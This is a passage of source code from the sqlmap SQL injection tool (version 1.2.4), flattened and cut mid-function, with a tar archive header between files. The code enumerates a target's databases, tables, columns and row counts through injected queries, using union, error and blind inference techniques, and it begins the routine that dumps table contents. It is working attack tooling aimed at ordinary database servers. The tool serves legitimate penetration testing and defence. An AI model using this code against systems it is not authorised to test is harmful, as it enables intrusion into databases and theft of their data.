(kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ") elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index db = unArrayizeValue(inject.getValue(query, union=False, error=False)) if db: kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db)) if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL): if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = (False, True) else: blinds = (True,) for blind in blinds: count = 0 kb.data.cachedDbs = [] while True: query = rootQuery.inband.query2 % count value = unArrayizeValue(inject.getValue(query, blind=blind)) if not (value or "").strip(): break else: kb.data.cachedDbs.append(value) count += 1 if kb.data.cachedDbs: break if not kb.data.cachedDbs: infoMsg = "falling back to current database" logger.info(infoMsg) self.getCurrentDb() if kb.data.currentDb: kb.data.cachedDbs = [kb.data.currentDb] else: errMsg = "unable to retrieve the database names" raise SqlmapNoneDataException(errMsg) else: kb.data.cachedDbs.sort() if kb.data.cachedDbs: kb.data.cachedDbs = filter(None, list(set(flattenValue(kb.data.cachedDbs)))) return kb.data.cachedDbs def getTables(self, bruteForce=None): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True elif Backend.isDbms(DBMS.ACCESS): try: tables = self.getTables(False) except SqlmapNoneDataException: tables = None if not tables: errMsg = "cannot retrieve table names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) bruteForce = True else: return tables if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if conf.db: dbs = conf.db.split(',') else: dbs = self.getDbs() dbs = [_ for _ in dbs if _ and _.strip()] for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) if bruteForce: resumeAvailable = False for db, table in kb.brute.tables: if db == conf.db: resumeAvailable = True break if resumeAvailable and not conf.freshQueries: for db, table in kb.brute.tables: if db == conf.db: if conf.db not in kb.data.cachedTables: kb.data.cachedTables[conf.db] = [table] else: kb.data.cachedTables[conf.db].append(table) return kb.data.cachedTables message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException else: return tableExists(paths.COMMON_TABLES) infoMsg = "fetching tables for database" infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(unArrayizeValue(db)) for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].tables if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None if condition: if not Backend.isDbms(DBMS.SQLITE): query += " WHERE %s" % condition if conf.excludeSysDbs: infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(infoMsg) query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) else: query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) if len(dbs) < 2 and ("%s," % condition) in query: query = query.replace("%s," % condition, "", 1) values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): values = filter(None, arrayizeValue(values)) if len(values) > 0 and not isListLike(values[0]): values = [(dbs[0], _) for _ in values] for db, table in filterPairValues(values): db = safeSQLIdentificatorNaming(db) table = safeSQLIdentificatorNaming(unArrayizeValue(table), True) if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) continue if conf.exclude and db in conf.exclude.split(','): infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db) singleTimeLogMessage(infoMsg) continue infoMsg = "fetching number of tables for " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS): query = rootQuery.blind.count else: query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db) warnMsg += "appears to be empty" logger.warn(warnMsg) continue elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue tables = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS): query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.blind.query % index elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX): query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db)) else: query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index) table = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(table): kb.hintValue = table table = safeSQLIdentificatorNaming(table, True) tables.append(table) if tables: kb.data.cachedTables[db] = tables else: warnMsg = "unable to retrieve the table names " warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) if isNoneValue(kb.data.cachedTables): kb.data.cachedTables.clear() if not kb.data.cachedTables: errMsg = "unable to retrieve the table names for any database" if bruteForce is None: logger.error(errMsg) return self.getTables(bruteForce=True) elif not conf.search: raise SqlmapNoneDataException(errMsg) else: for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables if kb.data.cachedTables: for db in kb.data.cachedTables.keys(): kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db])) return kb.data.cachedTables def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() if not conf.db: errMsg = "unable to retrieve the current " errMsg += "database name" raise SqlmapNoneDataException(errMsg) elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.col = conf.col.upper() colList = conf.col.split(',') else: colList = [] if conf.exclude: colList = [_ for _ in colList if _ not in conf.exclude.split(',')] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) colList = filter(None, colList) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: if conf.db in kb.data.cachedTables: tblList = kb.data.cachedTables[conf.db] else: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] tblList = list(tblList) elif not conf.search: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) else: return kb.data.cachedColumns tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList)) if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True elif Backend.isDbms(DBMS.ACCESS): errMsg = "cannot retrieve column names, " errMsg += "back-end DBMS is %s" % DBMS.ACCESS logger.error(errMsg) bruteForce = True if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} return kb.data.cachedColumns message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[Backend.getIdentifiedDbms()].columns condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl) if dumpMode and colList: values = [(_,) for _ in colList] else: infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) values = None if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): expression = query kb.dumpColumns = [] kb.rowXmlMode = True for column in extractRegexResult(r"SELECT (?P<result>.+?) FROM", query).split(','): kb.dumpColumns.append(randomStr().lower()) expression = expression.replace(column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1) values = unionUse(expression) kb.rowXmlMode = False kb.dumpColumns = None if values is None: values = inject.getValue(query, blind=False, time=False) if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): index, values = 1, [] while True: query = rootQuery.inband.query2 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index) value = unArrayizeValue(inject.getValue(query, blind=False, time=False)) if isNoneValue(value) or value == " ": break else: values.append((value,)) index += 1 if Backend.isDbms(DBMS.SQLITE): parseSqliteTableSchema(unArrayizeValue(values)) elif not isNoneValue(values): table = {} columns = {} for columnData in values: if not isNoneValue(columnData): name = safeSQLIdentificatorNaming(columnData[0]) if name: if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name)) comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) if not isNoneValue(comment): infoMsg = "retrieved comment '%s' for column '%s'" % (comment, name) logger.info(infoMsg) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if len(columnData) == 1: columns[name] = None else: key = int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1] if Backend.isDbms(DBMS.FIREBIRD): columnData[1] = FIREBIRD_TYPES.get(key, columnData[1]) elif Backend.isDbms(DBMS.INFORMIX): notNull = False if isinstance(key, int) and key > 255: key -= 256 notNull = True columnData[1] = INFORMIX_TYPES.get(key, columnData[1]) if notNull: columnData[1] = "%s NOT NULL" % columnData[1] columns[name] = columnData[1] if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table elif isInferenceAvailable() and not conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.count % (conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl) query += condQuery elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) query += condQuery elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) parseSqliteTableSchema(value) return kb.data.cachedColumns table = {} columns = {} if dumpMode and colList: count = 0 for value in colList: columns[safeSQLIdentificatorNaming(value)] = None else: infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if Backend.isDbms(DBMS.MSSQL): count, index, values = 0, 1, [] while True: query = rootQuery.blind.query3 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) if isNoneValue(value) or value == " ": break else: columns[safeSQLIdentificatorNaming(value)] = None index += 1 if not columns: errMsg = "unable to retrieve the %scolumns " % ("number of " if not Backend.isDbms(DBMS.MSSQL) else "") errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.error(errMsg) continue for index in getLimitRange(count): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery field = None elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index)) query += condQuery.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) query += condQuery field = None elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (index, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) query += condQuery field = condition query = agent.limitQuery(index, query, field, field) column = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(column): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(comment): infoMsg = "retrieved comment '%s' for column '%s'" % (comment, column) logger.info(infoMsg) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if not onlyColNames: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column) colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) key = int(colType) if isinstance(colType, basestring) and colType.isdigit() else colType if Backend.isDbms(DBMS.FIREBIRD): colType = FIREBIRD_TYPES.get(key, colType) elif Backend.isDbms(DBMS.INFORMIX): notNull = False if isinstance(key, int) and key > 255: key -= 256 notNull = True colType = INFORMIX_TYPES.get(key, colType) if notNull: colType = "%s NOT NULL" % colType column = safeSQLIdentificatorNaming(column) columns[column] = colType else: column = safeSQLIdentificatorNaming(column) columns[column] = None if columns: if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table if not kb.data.cachedColumns: warnMsg = "unable to retrieve column names for " warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table " warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.warn(warnMsg) if bruteForce is None: return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True) return kb.data.cachedColumns def getSchema(self): infoMsg = "enumerating database management system schema" logger.info(infoMsg) try: pushValue(conf.db) pushValue(conf.tbl) pushValue(conf.col) kb.data.cachedTables = {} kb.data.cachedColumns = {} self.getTables() infoMsg = "fetched tables: " infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) for _ in tbl) for db, tbl in kb.data.cachedTables.items()]) logger.info(infoMsg) for db, tables in kb.data.cachedTables.items(): for tbl in tables: conf.db = db conf.tbl = tbl self.getColumns() finally: conf.col = popValue() conf.tbl = popValue() conf.db = popValue() return kb.data.cachedColumns def _tableGetCount(self, db, table): if not db or not table: return None if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): db = db.upper() table = table.upper() if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = "SELECT %s FROM %s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(table, True)) else: query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True)) count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {} if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append(safeSQLIdentificatorNaming(table, True)) else: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [safeSQLIdentificatorNaming(table, True)] def getCount(self): if not conf.tbl: warnMsg = "missing table parameter, sqlmap will retrieve " warnMsg += "the number of entries for all database " warnMsg += "management system databases' tables" logger.warn(warnMsg) elif "." in conf.tbl: if not conf.db: conf.db, conf.tbl = conf.tbl.split('.', 1) if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): warnMsg = "missing database parameter. sqlmap is going to " warnMsg += "use the current database to retrieve the " warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl) logger.warn(warnMsg) conf.db = self.getCurrentDb() self.forceDbmsEnum() if conf.tbl: for table in conf.tbl.split(','): self._tableGetCount(conf.db, table) else: self.getTables() for db, tables in kb.data.cachedTables.items(): for table in tables: self._tableGetCount(db, table) return kb.data.cachedCounts ��sqlmap-1.2.4/plugins/generic/entries.py�������������������������������������������������������������0000664�0000000�0000000�00000067110�13260122637�0020142�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import clearConsoleLine from lib.core.common import getLimitRange from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import isInferenceAvailable from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import prioritySortColumns from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import singleTimeLogMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import DUMP_REPLACEMENTS from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CURRENT_DB from lib.core.settings import NULL from lib.request import inject from lib.utils.hash import attackDumpedTable from lib.utils.pivotdumptable import pivotDumpTable class Entries: """ This class defines entries' enumeration functionalities for plugins. """ def __init__(self): pass def dumpTable(self, foundData=None): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) entries" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) if conf.exclude and conf.db in conf.exclude.split(','): infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db) singleTimeLogMessage(infoMsg) return conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] elif not conf.search: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) else: return for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) for tbl in tblList: if kb.dumpKeyboardInterrupt: break if conf.exclude and tbl in conf.exclude.split(','): infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) singleTimeLogMessage(infoMsg) continue conf.tbl = tbl kb.data.dumpedTable = {} if foundData is None: kb.data.cachedColumns = {} self.getColumns(onlyColNames=True, dumpMode=True) else: kb.data.cachedColumns = foundData try: if Backend.isDbms(DBMS.INFORMIX): kb.dumpTable = "%s:%s" % (conf.db, tbl) else: kb.dumpTable = "%s.%s" % (conf.db, tbl) if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \ or safeSQLIdentificatorNaming(tbl, True) not in \ kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \ or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: warnMsg = "unable to enumerate the columns for table " warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl) warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" logger.warn(warnMsg) continue columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] colList = sorted(filter(None, columns.keys())) if conf.exclude: colList = [_ for _ in colList if _ not in conf.exclude.split(',')] if not colList: warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += " (no usable column names)" logger.warn(warnMsg) continue kb.dumpColumns = colList colNames = colString = ", ".join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colNames infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl) infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: colString = re.sub(r"\b%s\b" % re.escape(column), _, colString) entriesCount = 0 if 